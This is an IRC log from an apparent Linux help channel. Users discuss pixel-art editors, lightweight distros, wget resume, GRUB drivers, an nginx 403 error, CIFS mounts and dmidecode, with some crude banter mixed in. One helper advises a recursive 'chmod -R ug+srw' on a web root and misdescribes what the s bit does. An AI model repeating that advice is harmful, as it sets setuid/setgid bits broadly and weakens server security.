19:44 < triceratux> TheWild: what distro ? i run 64bit mtpaint on everything but sabayon. its actually rare when its not in a repo
19:44 < Psi-Jack> If it's even in a package.
19:45 < TheWild> 64bit mtpaint? Oh, then I have to hunt deeper.
19:46 < sadasaulna> triceratux: not just Linux, you get that No such file on NetBSD also (and presumably other BSDs)
19:46 < Psi-Jack> Yeah, apparently even Solus has mtpaint.
19:47 < Psi-Jack> And it's not flagged as a -32bit package, so it's 64-bit.
19:47 < searedvandal> if Solus has it, everyone must have it
19:47 < Psi-Jack> What Solus doesn't seem to have, is kpartx, which I'm going to fix. :)
19:48 < Lope> I'm trying to mount an ecryptfs volume which was an ubuntu 14 home dir, but getting this error: "Error attempting to evaluate mount options: [-122] Disk quota exceeded" Any ideas?
19:48 < Lope> mount -t ecryptfs /foo/home/.ecryptfs/johnsmith/.Private /mnt/foo/ -o ecryptfs_cipher=aes,ecryptfs_key_bytes=16,ecryptfs_passthrough=n,ecryptfs_enable_filename_crypto=y,no_sig_cache,ecryptfs_sig=(FROM_Private.sig_Line1),ecryptfs_fnek_sig=(FROM_Private.sig_Line2)
19:48 < TheWild> okay, I'll ask something else. What graphics editor would you recommend me to edit pixel-art (or almost pixel-art) graphics? GIMP seems to be too much for this.
19:49 < Psi-Jack> One less FreeBSD user. ;)
19:49 < TheWild> when I was on Windows, Greefish Icon Editor Pro served well.
19:50 < triceratux> TheWild: mtpaint is my goto on linux. even if you have to hack it in from another repo it generally runs everywhere
19:50 < sadasaulna> TheWild: on Windows, for doing pixel art for 8-bit consoles I really liked "Graphics Gale"
19:50 < searedvandal> TheWild, Aesprite maybe
19:50 < TheWild> and before that I used some super old version of Paint Shop Pro, probably from '94.
19:51 < searedvandal> or Krita
19:51 < triceratux> sadasaulna: seems credible. if im ever on a bsd at least there will be one thing i understand
19:53 < TheWild> Windows has an empty list of installed programs on fresh installation. How I'm going to get this on Linux? Because if I want cleanup, I don't really know a given package is really something I installed in the past and forgot to remove or maybe something important that was from beginning of this Linux installation, or something that a lot of other programs depend on.
19:54 < sadasaulna> my shorts ripped.  I feel like i'm wearing assless chaps.
19:54 < Psi-Jack> Paint Shop Pro... RIP.. That was a good fast graphics tool.
19:54 < sadasaulna> PSP - I used that baby since version 1, it was great, came on a cover disc of a magazine
19:55 < triceratux> TheWild: immediately upon fresh install run a dpkg -l & save the output for later comparison. thats all the package level resources installed as part of the base
19:56 < TheWild> ugh, I didn't do that :(
19:56 < TheWild> but I'll remember... I hope
19:56 < Psi-Jack> There was only a few real reasons I had Windows around. PSP, PS, and usually hardware-related things.
19:56 < TheWild> or install this distro on another compiter and grab the list
19:57 < TheWild> but hardware differences might alter the list
19:57 < Psi-Jack> Hmmm... Compiter. Interesting, what kind of hardware is that? ;)
19:57 < Psi-Jack> TheWild: Hardware differences do not alter the list.
19:57 < Lope> I also tried to mount it with `ecryptfs-recover-private /foo/home/.ecryptfs/johnsmith/.Private/`. I'm getting messages saying "Error adding key to keyring - keyring is full"
19:58 < Psi-Jack> eCryptFS, insecure, easy to break.
19:58 < Lope> It might be because I had to brute force the password, tried like 25,000 keys.
19:58 < Psi-Jack> Hope you had backups. :)
19:58 < Psi-Jack> I'm guessing... You did not. Wasn't important enough then.
19:59 < Lope> Psi-Jack, it's not critical data that I want to get.
19:59 < Lope> The backups are all of the same ecryptfs volume.
19:59 < Psi-Jack> hah
19:59 < TheWild> okay, thank you ananke, triceratuxand Psi-Jack
19:59 < TheWild> oops, comma
20:00 < Psi-Jack> coma? No thanks. :)
20:00 < TheWild> hmm... why the hell I want to install something for temporary use. There might be a pixel editor in HTML5 as well
20:01 < Psi-Jack> "WebApp" rolls off the tongue better than "HTML5"
20:01 < TheWild> dafuq? Requires flash player?
20:01 < TheWild> lol
20:01 < Psi-Jack> Also, kindly mind the language, please.
20:02 < TheWild> pardon me
20:02 < Psi-Jack> But, you hadn't been arrested or imprisoned.... yet.
20:02 < searedvandal> mind the gap
20:03 < searedvandal> TheWild, pixelartmaker.com
20:07 < Lope> rebooting
20:09 < Nexilva> Hello people, I am looking for a old laptop linux distro, I have a core i3, 4gb ram laptop, and I'm about to put an SSD in it, but I wanted to download a lightweight distro that's fully loaded with desktop use apps and multimedia without having to go through the hassles of codecs and adding extra repositories etc.
20:10 < Nexilva> I am familiar with Debian based distros, and currently running Linux Mint KDE edition but it's too unorthodox, and doesn't even have a support channel on freenode
20:10 < Nexilva> Can you advise something?
20:10 < triceratux> lubuntu 18.10 lxqt
20:10 < Nexilva> lxqt is out!?
20:10 < Nexilva> Very nice! I prefer Qt over GTK+
20:10 < Psi-Jack> Nexilva: Solus
20:11 < Nexilva> Also, if I wanted to use Xmonad with LXQT how difficult would it be to setup on that distro?
20:11 < triceratux> http://cdimage.ubuntu.com/lubuntu/daily-live/current/
20:11 < Nexilva> I have a debian testing desktop where I use Xmonad
20:11 < Psi-Jack> Lubuntu is just Ubuntu with LXQT preinstalled.
20:11 < Nexilva> I like tiling wm, but with a taskbar, start menu, and etc. I like mostly using keyboard and not mouse.
20:12 < chowbok> Saw a job listing for a "Virtual Linux Administrator" today.
20:12 < Psi-Jack> chowbok: Are you "virtually" qualified? ;)
20:12 < triceratux> lubuntu lxqt is also fully media enabled ootb. plays a lot more than mp3s
20:12 < chowbok> Seems like that would just be a complicated shell script
20:12 < meyou^> Do you administrator virtual linux or are you a virtual employee who administers linux :hmm:
20:12 < meyou^> administer*
20:12 < Nexilva> triceratux: like kodi and all that in the repositories?
20:12 < Toadisattva> I got google and #linux at hand I'm clearly qualified :P
20:13 < chowbok> I'd like to make a virtual clone of myself and get it to do all the work
20:13 < Nexilva> They probably mean VM stuff, Xen or ESX
20:13 < Nexilva> chowbok: CLU!
20:13 < Nexilva> Codified Likeness Utility!
20:13 < triceratux> Nexilva: i would assume so if its a standard buntu which it is
20:13 < Nexilva> Beware it might turn evil!
20:13 < chowbok> It'd start out evil if it were a clone of me
20:14 < Nexilva> Ha.
20:15 < triceratux> Nexilva: for hardware like that id also say mx-17. lubuntu 18.10 is a bit leading edge
20:18 < Psi-Jack> But, 18.10 isn't even out yet. it's not even October yet.
20:18 < triceratux> they still refer to it that way. & the wallpaper contest is open
20:19 < Toadisattva> I think you can get nightlies of 18.10 already for dev?
20:20 < triceratux> lubuntu lxqt has been release ready for a couple cycles & under the name of lubuntu-next. theyve hardly done anything to it so far other than bump lxde with it
20:20 < Nexilva> how
20:20 < Nexilva> How stable is the LXQT lubuntu daily build ?
20:20 < Nexilva> Is it like a rolling release?
20:20 < Nexilva> Or like debian frozen/stable
20:21 < Nexilva> I only know debian, I don't know ubutnu stuff much. I just used a linux mint iso on my laptop for a while.
20:21 < Nexilva> I would use debian, minimal netinst iso on my laptop, but then setting up everything is a pain for laptop. Not as easy as desktop.
20:21 < Toadisattva> I don't think it's rolling, but I'm not certain on that
20:21 < triceratux> they develop at an absolute snails pace. its lxqt 0.13.0 but essentially nothing else has been added. & the feature freeze is in a few weeks followed by the beta. for all intents & purposes this is what its going to look like
20:21 < Psi-Jack> Linux Mint is a fork of Ubuntu, still using Ubuntu's repos, but their own overlay of packages.
20:22 < Nexilva> Do they keep up then with LXQT releases?
20:22 < Nexilva> bugfixes etc?
20:22 < Psi-Jack> Not likely.
20:22 < Nexilva> I just want something solid, easy, stable, and light that I can get work done on.
20:22 < Psi-Jack> Solus.
20:22 < Nexilva> I can't use my desktop for another few months as I'm away from home.
20:23 < Toadisattva> why not go with lubuntu 18.04 lts
20:23 < Psi-Jack> Or Solus. :)
20:23 < Toadisattva> or xubuntu 18.04 even it's a bit nicer interface imo
20:23 < Psi-Jack> Theres's always Solus with Budgie. :)
20:24 < Nexilva> Hm.
20:24 < SuperSeriousCat> Debian
20:24 < searedvandal> anything xfce / lxqt
20:24 < Toadisattva> I hear good things about budgie
20:24 < Nexilva> I don't mind xfce either, just GTK+... ugh!
20:24 < WhiteDevil> Debian the best
20:24 < Nexilva> I despise gtk.
20:24 < Nexilva> I loath it with a passion unmatched.
20:24 < searedvandal> lxqt then
20:25 < WhiteDevil> lxqt means light right ?
20:25 < Psi-Jack> I used to despise GTK+ too. Until KDE fubared everything up.
20:25 < Nexilva> You know, if there is a linux distro that features the Trinity desktop (kde 3.5.10) that would be super!
20:25 < Psi-Jack> WhiteDevil: This box of air is lightweight, right?
20:25 < searedvandal> LXQt "The Lightweight Qt Desktop Environment"
20:25 < Nexilva> I have a Toshiba laptop from 2011, 4gb ram, intel gpu, and core i3 (It think first or 2nd gen)
20:26 < Nexilva> Also I have configured linux mint kde edition and stuff, I have to back up my ~
20:26 < Nexilva> I like kde control center/settings
20:26 < Elladan> Re Linux Mint, it's a fork of the Ubuntu LTS, they don't track the latest release.
20:26 < searedvandal> Nexilva, q4os do trinity I think
20:26 < Psi-Jack> Even though the box itself is made out of Osmium? :)
20:26 < Nexilva> hm
20:26 < WhiteDevil> well i have no idea how much air weights
20:26 < Nexilva> I see mint doesn't have lxqt
20:26 < searedvandal> its debian based
20:26 < WhiteDevil> i think science is not my strong suit
20:27 < Toadisattva> what would be the benefit of straight debian over a buntu release? I'm partial to those nice repos
20:27 < WhiteDevil> but if you wanna ask me how the weather is
20:27 < WhiteDevil> i surely will be joy
20:27 < Psi-Jack> Elladan: It's a fork... Yes,. But they still use the Ubuntu repos.
20:27 < ayecee> air would be about 14kg for 22.4L of air at STP, i think.
20:27 < Nexilva> extremely lightweight, debian stale is just fantastic, but older
20:27 < Psi-Jack> Nice repos, or nice software?
20:27 < Nexilva> stable/stale haha.
20:27 < WhiteDevil> i suspect we have scientists in here
20:27 < Nexilva> that's an apt typo. 'apt'. haha
20:28 < Toadisattva> so generally just being lighterweight without the buntu bloat (and repos)
20:28 < WhiteDevil> or people that attented school and found it interesting :D
20:28 < ayecee> i wonder how far off i am.
20:28 < Nexilva> yeah, debian desktop is great, laptop is too much hassle.
20:28 < Psi-Jack> WhiteDevil: But, this box full of air made out of Osmium, it's lightweight, right?
20:28 < Psi-Jack> :)
20:28 < Nexilva> for example, debian doesn't out of the box do usb auto mounting like linux mint or ubuntu etc.
20:28 < Nexilva> just tiny little things like that for usability you have to manually configure in debian.
20:29 < WhiteDevil> that automount stuff is the shizz
20:29 < ayecee> mmph, i'm way off.
20:29 < triceratux> Nexilva: mint is down to only 3 DEs for 19.0. they got completely out of the Qt business
20:29 < WhiteDevil> ayecee can you be my mentor ?
20:29 < Nexilva> triceratux: I see that. I was looking to see KDE but no dice.
20:29 < azarus> automount? bad if you plug in untrusted media and/or want to check it manually first
20:29 < WhiteDevil> i basically have no idea how linux works
20:29 < Nexilva> I don't plug untrusted media.
20:30 < azarus> Nexilva: good for you
20:30 < Nexilva> I don't use anything anyone gives me, I make my own data on usb drives.
20:30 < Nexilva> you are the first defense against hacks.
20:30 < Nexilva> lazy people get careless.
20:30 < Nexilva> I'm studious and attentive.
20:30 < azarus> cool
20:30 < searedvandal> q4os with trinity actually looks kinda neat
20:30 < azarus> but i still want to manually run fsck
20:30 < WhiteDevil> when i get a new computer..i will built it up to be a firewall
20:31 < ayecee> 1 mole of air is 22.4L at STP, and 1 mole of anything is it's average atomic mass in grams, so more like 12-14 grams.
20:31 < azarus> ooh chemistry
20:31 < Nexilva> Eh, no harm in tring lubuntu qt
20:31 < Nexilva> *shrug*
20:32 < Nexilva> worst come to worst, I can always get clonezill and clone my 5400rpm hdd to the new ssd about to buy from bestbuy
20:32 < WhiteDevil> ayecee, i wasnt kiddin
20:32 < Nexilva> 120gb pny for 30 buck.
20:32 < Nexilva> plus tax.
20:32 < WhiteDevil> i need someone to mentor me
20:32 < Nexilva> keep my linux kde mint thingy
20:32 < ayecee> i don't know what that means
20:32 < triceratux> Nexilva: LXQt has been in only a handful of distros so far: rosa, artix, fedora, alt, & extix. canonical doing away with lxde for 18.10 is going to considerably boost its creds
20:32 < azarus> ayecee: mentor = fancy word for teacher
20:33 < ayecee> i get that, but i don't know what it means i would have to do.
20:33 < WhiteDevil> i want you to guide me in understanding linux
20:33 < Nexilva> you are your own best teacher, and you are you own best student.
20:33 < Nexilva> Self taught is the best.
20:33 < Psi-Jack> WhiteDevil: https://linux-help.org/   There you go.
20:33 < gzuh> youtube makes self learning easy
20:33 < ayecee> if it's anything like one-on-one support, it doesn't sound like fun.
20:33 < WhiteDevil> self taught is how i did it
20:33 < Nexilva> Me too, since I was 12
20:33 < Nexilva> Almost 40 now.
20:33 < azarus> install gentoo, maintain it for a while, boom
20:33 < Nexilva> Ew.
20:33 < azarus> then move on to something less of a hassle
20:33 < azarus> the hassle teaches you
20:34 < Psi-Jack> Nexilva: I was programming BASIC at the age of 5. :)
20:34 < Nexilva> gentoo is like a crappier freebsd ports system.
20:34 < Nexilva> imo.
20:34 < ayecee> oh yeah? i was using the toilet by myself by age 3!
20:34 < searedvandal> starting to sound like a "who's the better geek" contest now Psi-Jack :p
20:34 < Psi-Jack> Gentoo is just like... crappy, period. :)
20:34 < azarus> many people would argue that ;)
20:34 < Psi-Jack> searedvandal: Me. Definitely. :)
20:34 < Elladan> If you want that sort of homebrew feel, I think Arch is the way to go these days.
20:34  * saderror256 waves
20:34  * graps waves back
20:34 < Psi-Jack> Elladan: Nah, Solus. :)
20:34 < azarus> arch is too easy for that!
20:34 < saderror256> arch and gentoo are too different things
20:35 < Nexilva> I'm going to downlaod lubuntu qt and try that on USB first.
20:35  * rud0lf surfs the waves
20:35 < saderror256> gentoo is for those that prefer compilation, and want faster compilation
20:35 < Nexilva> if that pans out good I'll install it to the ssd
20:35 < searedvandal> Psi-Jack, "I was making punch cards before I could walk"
20:35 < Nexilva> I have unstable connection, I wonder if they have a .torrent file
20:35 < Nexilva> I dont' want to grab iso over http.
20:35 < Elladan> I didn't say it was the same thing, just that it's got something of a homebrew feel. You're expected to figure out how to maintain things yourself to some degree.
20:35 < WhiteDevil> ayecee, are you a babe ?
20:36 < Nexilva> Elladan: after that, you get tired and just want things to work
20:36 < ayecee> WhiteDevil: that's kind of a rude question
20:36 < Psi-Jack> Nexilva: Why? http is just fine.
20:36 < Nexilva> I did a lot of manual stuff in my youth, and now I'm old and tired.
20:36 < Nexilva> :)
20:36 < searedvandal> Nexilva, arch works just fine
20:36 < Elladan> I mean if you want the maximum homebrew you'd find that Linux From Scratch web page etc. :-)
20:36 < Nexilva> everything works just fine man.
20:36 < Nexilva> *shrug*
20:36 < searedvandal> not everything
20:37 < Nexilva> I'm literally distro agnostic, I just want lightweight. I know how to use every major distro intimately.
20:37 < Elladan> Nexilva, ditto I just get tired when I have to debug something.
20:37 < searedvandal> tiny core linux, doesn't get much more lightweight than that
20:37 < Nexilva> DamnSmallLinux
20:37 < Nexilva> Or Floppix (from back in the day)
20:37 < WhiteDevil> ayecee, sorry
20:38 < Nexilva> Flonix isnt' bad either.
20:38 < Nexilva> Morphix was good back in the day.
20:38 < Psi-Jack> Nexilva: Solus rewrites the entire concept of Desktop Linux. Completely unique by design, and for some reason, it performs better and uses less RAM than any other distro I've used, at least since the past ~10 years or so, when memory consumption kept going higher and higher for everyday usage,.
20:38 < azarus> I find Gentoo just enough homebrow to be challenging.
20:38 < Nexilva> I can't find anything but an http download for lubuntu qt
20:38 < Nexilva> :/
20:38 < azarus> but then again... developed taste
20:39 < latenite> Hi folks, how can I use curl or wget to get this URL https://github.com/kubernetes/minikube/blob/v0.28.0/README.md by using this URL https://github.com/kubernetes/minikube/releases/latest/
20:39 < Nexilva> I'd much prefer a torrent r
20:39 < Psi-Jack> Why on earth would you actually /prefer/ a torrent?
20:39 < Mead> I need some help building a custom Grub install for a uncommon configuration,  been using "super grub2 disk"  using the "enable all native disk drivers" to get it to detect my Lubuntu install to boot.  I'd like to create an install that will load the drivers and boot to my lubuntu install without interaction from a user.  Can anyone point me in the right direction?
20:39 < saderror256> arch is for teaching how linux works and for a minimal install like ice cream
20:39 < azarus> Psi-Jack: torrents are faster, generally
20:39 < Psi-Jack> Torrents are way more noisy and bandwidth hogging than pretty much any other protocol.
20:39 < Psi-Jack> No, no they are not.
20:39 < saderror256> azarus: disagree
20:39 < ayecee> they're faster if there are multiple fast peers seeding.
20:40 < azarus> ayecee: exactly
20:40 < localhorse> https://usercontent.irccloud-cdn.com/file/wFqPrSi2/IMG_20180709_203842.jpg
20:40 < saderror256> usually peers arent sending much
20:40 < Psi-Jack> No, no they are not. And I can get the same benefit of multiple fast peers with http, too.
20:40 < localhorse> UserUS: ^
20:40 < ayecee> not from one server
20:40 < Elladan> Torrents tend to be faster for a variety of reasons, some of them with unfortunate implications to network stability.
20:40 < ayecee> depends where the bottleneck is, i guess.
20:40 < Elladan> So yes, they are typically faster in practice.
20:40 < searedvandal> with torrents you can keep seeding after download and help out the next guy who wants to grab the iso
20:40 < Mead> torrents are great if you have many people wanting the data and a robust centralized distribution solution isn't possible
20:41 < localhorse> Psi-Jack: ^
20:41 < ayecee> classic Psi-Jack, staking himself on the outlier position.
20:41 < Psi-Jack> While destroying the network with noisy half-open UDP sockets.
20:41 < ayecee> want some scotch with that
20:41 < Psi-Jack> Yes, but none of the smokey stuff.
20:41 < Elladan> Psi-Jack, half-open UDP uh...
20:41 < ayecee> he
20:41 < ayecee> h
20:42 < Elladan> Psi-Jack, your concept of how torrents/networking works is flawed.
20:42 < Nexilva> I forgot does wget resume?
20:42 < Psi-Jack> Elladan: It's actually not.
20:42 < triceratux> Nexilva: http transfer has the ability to restart & most browsers support that these days. canonical arent really a torrent style distro
20:42 < Nexilva> triceratux: wget can do resume, yes?
20:42 < Psi-Jack> yes, wget can.
20:42 < Nexilva> or is there a kde download manager I can use?
20:42  * Mead hids his 12yo glenfiddich from the channel
20:43 < Psi-Jack> wget --continue
20:43 < Psi-Jack> or -c
20:43 < triceratux> Nexilva: basically wget is what you want ^^
20:43 < lupine> ah, you got the entry-level?
20:43 < Psi-Jack> Nexilva: kget
20:43 < lupine> bless
20:43  * saderror256 is confused about what Mead said
20:43 < Psi-Jack> Mead: Mmmmmmm.... Gimme!
20:44  * Mead pours Psi-Jack a snort
20:45 < Psi-Jack> Two fingers at least. :)
20:45 < azarus> I found gentoo to be a great learning experience
20:46 < azarus> "Why does this not build?! Aha!"
20:46 < Psi-Jack> The answer always is: You broke it.
20:46 < azarus> nope
20:46 < ayecee> mostly
20:47 < searedvandal> if it ain't broke, fix it until it is
20:47 < Nexilva> https://www.binarytides.com/wget-automatically-resume-broken-downloads/
20:47 < Nexilva> Here's a good tip!
20:47 < Nexilva> Thank triceratux
20:48 < Nexilva> Ok, DL now.
20:48 < Nexilva> Time for ice cream.
20:50 < Elladan> I do enjoy my 100 megabit home internet. :-)
20:50 < Nexilva> WYeah, another 2-3 min and it will be done
20:50 < Mead> I need a little help building a custom Grub install, anyone familure with the "super grub2 disk"  ?
20:50 < Nexilva> I am not.
20:51 < graps> Mead: Do you want the Google link ?
20:51 < azarus> Elladan: are you in a place where that's exceptional?
20:51 < Nexilva> azarus: an African village?
20:52 < Nexilva> :)
20:52 < azarus> oh awesome
20:52 < POJO> I thought we were meant to use duckduckgo here
20:52 < graps> POJO: Heh heh
20:52 < Mead> graps, I've googled, I need to pick someone's brain
20:52 < graps> POJO: If you want to, yes
20:53 < searedvandal> Mead, just ask and if someone knows, they'll answer :)
20:54 < Psi-Jack> Nexilva: see. You spent more time looking for a torrent than just downloading.
20:54 < Mead> in "super grub2 disk"  there is an option to load some drivers before it searches for another grub install to boot.  I'd like to build a custom install that loads those drivers
20:55 < WhiteDevil> i got a 150 megabit connection
20:55 < WhiteDevil> they give a 1000 megabit one
20:55 < WhiteDevil> but i havnt checked it out
20:55 < WhiteDevil> i dont think i need that specially since i have no ssd
20:56 < WhiteDevil> when i download from steam ..the harddisk writes about with as much spped as the thing is being downloaded
20:56 < SuperSeriousCat> There is a limit for ho quick you need your porn too
20:56 < WhiteDevil> well to be honest
20:56 < ayecee> well, you _say_ that...
20:56 < WhiteDevil> i dont watch porn
20:56 < WhiteDevil> i only have sex with hot hot women
20:56 < SuperSeriousCat> Sure :p
20:56 < ayecee> all with the surname jpeg
20:56 < Mead> there are only two types of people in this world those who admit to watching pr0n and those who lie about it
20:57 < WhiteDevil> o yea i date supermodels
20:57 < WhiteDevil> there was this one model called natasha
20:57 < WhiteDevil> she had a thing for trump and neo nazis
20:57 < WhiteDevil> but she was hot
20:57 < SuperSeriousCat> Ah. natasha.jpeg. Think I seen her
20:57 < Wulf> ayecee: jpeg? More likely mp4 or avi. If you're really lucky, she's called mpv.
20:57 < WhiteDevil> meet her in a mental asylum
20:57 < Wulf> err.. mkv
20:57  * Mead checks his shoes to see if he's stepped in poo
20:58 < WhiteDevil> i meet some other cool looking babes in the mental ward
20:58 < WhiteDevil> one of them wanted to kill her kids
20:58 < WhiteDevil> and the other one was there for 40 days
20:58 < bls> how about you taking this somewhere else?
20:58 < WhiteDevil> her parents thought she was insane
20:58 < WhiteDevil> you r right
20:58 < WhiteDevil> ill stop
20:59 < SuperSeriousCat> :P
20:59 < searedvandal> Mead, which menu option in super grub2 disk?
20:59 < WhiteDevil> :)
20:59 < WhiteDevil> hey i am still thinking about doing the RHCSA
20:59 < WhiteDevil> i think i should go forward and do it
20:59 < WhiteDevil> its just that i am wondering timeline to learn that stuff
20:59 < Mead> searedvandal: "enable all native disk drivers"
20:59 < WhiteDevil> i dont want to be risky ..pay 400 bucks
20:59 < WhiteDevil> and then fail it
21:00 < SuperSeriousCat> Regret not altering /etc/locale.gen now that I upgraded glibc... 475 locales on a RPI3 on 2 cores :|
21:01 < searedvandal> Mead, https://github.com/supergrub/supergrub/blob/master/menus/sgd/enablenative.cfg
21:02 < graps> Mead: I saw a Grub2.02s1 link that experiments with enable all native disk drivers
21:03 < Mead> graps
21:03 < Mead> err
21:04 < Mead> graps: I've been using the the 2.02.s10-beta5 version
21:06 < Mead> so what would be the best method for accomplishing this?  Altering a "super grub2 disk" image to do what I need?
21:06 < searedvandal> Mead, this is pretty much what that option do, plus sources some config dirs and stuff. https://www.gnu.org/software/grub/manual/grub/grub.html#nativedisk
21:07 < fath0m> Hello. Can somebody help me on setting up netbeans on ubuntu?
21:07 < fath0m> im encountering some issues :(
21:08 < searedvandal> Mead, add insmod nativedisk to your grub config should do it I think?
21:08 < bls> fath0m: no need to ask for help. describe your problem as accurately as possible and if anyone can help, they will
21:09 < fath0m> okay, so I installed netbeans today and it installed everything that is needed (openjdks and everything) but it does not seem to work. Eclipse was not working aswell
21:09 < fath0m> https://8n1.org/13416/eeb2
21:09 < fath0m> output of netbeans, as eclipse refuses to spit out any errors on terminal
21:09 < graps> fath0m: What error are you getting ?
21:10 < fath0m> i've pasted in in the pastebin
21:10 < bls> fath0m: have you tried talking to the #netbeans people as recommended by the error message?
21:10 < fath0m> https://8n1.org/13416/eeb2
21:10 < Mead> searedvandal: well I'm needing to create a grub install on a second drive as the bios won't boot directly from the drive I have linux installed from, which is why I need to load the drivers.
21:10 < Mead> err install on, not from
21:10 < fath0m> well I thought it is linux problem, as it happe ned with eclipse as well
21:11 < Nexilva> https://fossbytes.com/best-lightweight-linux-distros/
21:11 < Nexilva> How about Bodhi linux with enlightenment and an Ubuntu LTS base?
21:11 < Nexilva> e17 was very light/fast.
21:12 < graps> fath0m: Acc. to askubuntu, "Netbeans thinks it's supposed to use java 8.1 still you just need to reinstall it so it can see the correct java version"
21:13 < fath0m> it does not seem to be in reposiutories though:(
21:13 < Nexilva> It's been a while since I have used enlightenment.
21:13 < Nexilva> Moksha seems nice.
21:13 < fath0m> how am i supossed to get it then?
21:14 < Nexilva> Bodhi means wisdom, Moksha means freedom/liberation, and based on 'enlightenment'.
21:14 < fath0m> oh they seem to be in repos
21:14 < Nexilva> Seems like the hippy linux distro haha.
21:14 < fath0m> ill try
21:14 < Nexilva> :D
21:14 < Nexilva> I think I might give it a go. Ubuntu base and even more lightweight than lxqt
21:15 < Nexilva> Is there a DE that's only built using standard Xlibs and not Gtk/Qt?
21:15 < Nexilva> something super fast!
21:15 < bls> CDE?
21:15 < Nexilva> Oh?
21:15 < Nexilva> Isn't that like 20 years old?
21:15 < Nexilva> Are they still active?
21:16 < bls> oh, you didn't mention that as a requirement
21:16 < Nexilva> :)
21:17 < bls> last release was 2 years ago
21:18 < bls> there's also EDE
21:18 < graps> exit
21:19 < graps> whoops
21:19 < streuner> i have problem with nginx
21:20 < streuner> i'm getting error 403 forbidden when i try access my website
21:20 < streuner> i've installed modsecurity and owasp rules
21:20 < Nexilva> streuner: check your nginx log files
21:20 < Nexilva> streuner: 403 usually means permissions denied.
21:20 < Nexilva> log file will tell you, somewhere in /var/log/nginx something, or check your server block, for log file directive/location, then check that file.
21:21 < Nexilva> not access log, but error log.
21:21 < streuner> http://paste.asie.pl/VrxW
21:21 < bls> that looks like nginx doesn't have permission to access the web root
21:22 < Nexilva> my laptop is very slow hang on
21:23 < Nexilva> Yeah, your php file (front controller at index.php) is forbidden.
21:23 < Nexilva> Make sure it's readable by the group/user nginx runs under.
21:23 < Nexilva> Usually 755 should do on directory or 644 on file, IIRC. I'm tired.
21:24 < Nexilva> try this
21:25 < Nexilva> go to /var/www/default/ and type (as root or sudo): chmod -R ugo+r .
21:25 < Nexilva> OR, go to /var/www/default/ and type (as root or sudo): chmod -R ug+srw public_html
21:25 < Nexilva> sorry, typo.
21:26 < Nexilva> you want s so newly created files will also retain permission of the parent directory
21:26 < Nexilva> u = user, g = group, o = other, r, read only, rw, read/write.
21:27 < nevodka> I have this smb share I can't mount but can ftp into despite the settings on the server showing smb and ftp are both active.
21:27 < Nexilva> install smbclient and try smbclient -L share_ip (as user, not root)
21:27 < Nexilva> see if you get any connection errors.
21:27 < nevodka> The mount command I'm running is sudo mount -t cifs -o credentials=/home/nevodka/.smbcredentials,uid=1000,gid=1000 //192.168.0.19/share test
21:28 < Nexilva> first try with smbclient
21:28 < Nexilva> rule out any issues with permissions or account connectivity/user/share level security etc.
21:28 < nevodka> smbclient returned no errors, I see the folder 'share' under Sharename
21:29 < Nexilva> I haven't used samba in a long time.
21:29 < nevodka> the credentials I'm using work fine for connecting via ftp
21:29 < Nexilva> and I'm not familiar with cifs mount options.
21:29 < Night_Elf> Hello all. I have created a user in my system, by using "adduser --encrypt-home user" . Is it normal that when I ssh to this system as 'user', I see direcly the encrypted home mounted? And also, when I logout, I can see it is still mounted. Is this also normal?
21:29 < Nexilva> I gotta beat traffic, so I gotta go make an errand, I'll see you later. Goodluck.
21:30 < kubast2> How does 842 compare vs lz4/lzo/lz4hc ?
21:31 < kubast2> afaik 842 is "fast" on POWER ,but nothing else could I find other than that there is some hw acceleration for 842 compression algo on POWER platform
21:32 < kubast2> I will just check for an ext4 file system not really a fair comparision for zram swap but yeh
21:32 < kubast2> this way I can get consistent data
21:32 < Nexilva> Before I go, I need to find out how to dump my DIMM information for this laptop: https://www.manualslib.com/products/Toshiba-L875-S7110-1729859.html as I want to expand the RAM to 8GB (from 4GB). I have a free slot in laptop.
21:33 < Nexilva> what tool/command do we use to dump memory/dimm information, serial #, part #, specs etc. so I can order another DIMM
21:33 < Nexilva> thank you
21:33 < ananke> Nexilva: dmidecode
21:33 < Nexilva> ok, thanks
21:33 < Nexilva> which package would it be in?
21:33 < Nexilva> pciutils?
21:34 < ananke> Nexilva: query your package manager
21:34 < Nexilva> ok
21:34 < Nexilva> demidecode is the binary? I can then apt-file it.
21:34 < Nexilva> otherwise I dunno.
21:34 < ananke> Nexilva: 'dmidecode' not 'demidecode'
21:35 < Nexilva> *nod*
21:35 < ananke> chances are it's already installed
21:35 < Nexilva> It is.
21:35 < Nexilva> ty
21:37 < Nexilva> There is a lot of information. Can I grep for memory specific things? any keyword?
21:37 < kubast2> yeh lz4hc seems to use a bit less than lzo so
21:37 < kubast2> gonna use that for zram swap
21:38 < ananke> Nexilva: | less
21:38 < Nexilva> I'm reading.
21:38 < ananke> Nexilva: now search for DIMM
21:39 < Nexilva> I think I found it. Dimm0 is empty and dimm1 is populated, but still not seeing any model# or part#. ok thanks, reading mroe
21:39 < ananke> Nexilva: dmidecode -t memory may work too, if you run a newer dmidecode
21:40 < ananke> Nexilva: it will show you both manufacturer, part number, serial, etc
21:40 < Nexilva> ahh, much further down
21:40 < Nexilva> got it!
21:41 < Nexilva> it was way after all the pci slot informations
21:41 < Nexilva> Thanks
21:42 < Night_Elf> Hello all. I have created a user in my system, by using "adduser --encrypt-home user" . Is it normal that when I ssh to this system as 'user', I see direcly the encrypted home mounted? And also, when I logout, I can see it is still mounted. Is this also normal?
21:42 < Psi-Jack> Hmm, why did you need the model/part number?
21:43 < Nexilva> http://paste.debian.net/plain/1033030
21:44 < Nexilva> So, I wonder if I should be able to order matching specs, and it would work. 1066mhz, ddr3
21:44 < Nexilva> any generic matching ram should do?
21:44 < Nexilva> How may I verify whether a dimm would work in this laptop/be accepted?
21:44 < ananke> Nexilva: owner's manual
21:45 < ananke> Nexilva: or simply visit a website for a big memory manufacturer and select your system model
21:45 < Nexilva> https://www.manualslib.com/products/Toshiba-L875-S7110-1729859.html <- this? or like a serviceman's repair manual?
21:45 < Nexilva> Ahh.
21:45 < ananke> Nexilva: www.crucial.com
21:45 < Nexilva> Recommendations?
21:45 < Nexilva> ok
21:46 < streuner> permission were wrong *chmod
21:46 < akk> Make sure returns are allowed. Sometimes memory you think will work, won't.
21:46 < streuner> how can i test whether modsecurity works?
21:47 < Nexilva> akk: ok
21:47 < Nexilva> you know a decent/reliable memory vendor? other than crucial? I have usualy luck with cheap ram with kingston value ram etc.
21:47 < Nexilva> I don't want to spend too much on this old laptop.
21:48 < lnnb16_t> what's modsecurity do?
21:48 < aaroncoding> What is wrong with crucial?
21:48 < dgurney> kingston is a good choice
